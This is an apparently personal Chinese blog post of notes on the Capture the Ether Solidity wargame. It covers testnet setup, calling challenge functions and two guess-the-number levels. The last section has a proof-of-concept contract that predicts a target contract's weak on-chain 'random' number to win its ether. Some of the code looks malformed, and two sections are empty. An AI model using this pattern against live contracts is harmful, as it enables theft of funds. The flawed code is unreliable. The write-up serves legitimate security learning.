Capture the Ether闯关

前言

  十天前玩过这个靶场,🐎的就会第一题,第二题在有基础的条件下看了1个多小时,不懂。。。真的有出息。。。今天做了几关,终于顺手了,感觉solidity还是很好玩的,这次是真的出息了。那接下来的学习的步骤是:《精通以太坊》--solidity手册---代码审计---靶场。

0x01 Deploy a contract 

 

 

要求:安装metamask,通过测试Ropsten网络,在水龙头里面得到一些测试币。运行代码,出现true就可以了。

操作:在remix里面运行就行了,会自动连接meta mask,点击iscomplete函数,显示true就行了

 

 

 

0x02 CALL ME

 

 

要求:调用callme函数,点击“check solution”验证

操作:目的是让我们调用智能合约里面的callme函数,要让靶场能感受到我们调用了,所以在地址框要填靶场给的地址。将地址添到at address中,但后deploy。

 

 后面会有callme这个按钮,然后查看iscomplete的bool型,最后显示出true就行。

0x03 Choose a nickname

 

 要求:要求给自己设置一个昵称。这个比较简单

做法:创建新合约加名字就行。

 

0x04

 

 

0x05

 

 

 

0x06

找到两个参数值,算出来就行了

pragma solidity ^0.4.21;

contract Solution {
    function returnHash() public view returns(uint8){
        return uint8(keccak256(block.blockhash(10594045 - 1), 1625731115));
    }
}

这意思就是,在区块链上,加密有的信息是徒劳的。这些都会在链上查询到。

 

0x07

https://celebrusadvisory.com/smart-contract-exploits-part-1/

基于6的基础上,构造一个poc

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(10594699 - 1), 1625739555));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
    
}

   contract solution{
       
       function() public payable{}
       
       function destory() public{ selfdestruct(msg.sender);}
       
       function exec() public payable{
           GuessTheNewNumberChallenge cTc = GuessTheNewNumberChallenge(0x50B12867B2bb06DEB2655b11D93FBd72Bbf55070);
           cTc.guess.value(msg.value)(uint8(keccak256(block.blockhash()(10594699 - 1),1625739555)));
       }
       
   } 

 

posted @ 2021-07-07 18:44  这醋好甜  阅读(361)  评论(0编辑  收藏  举报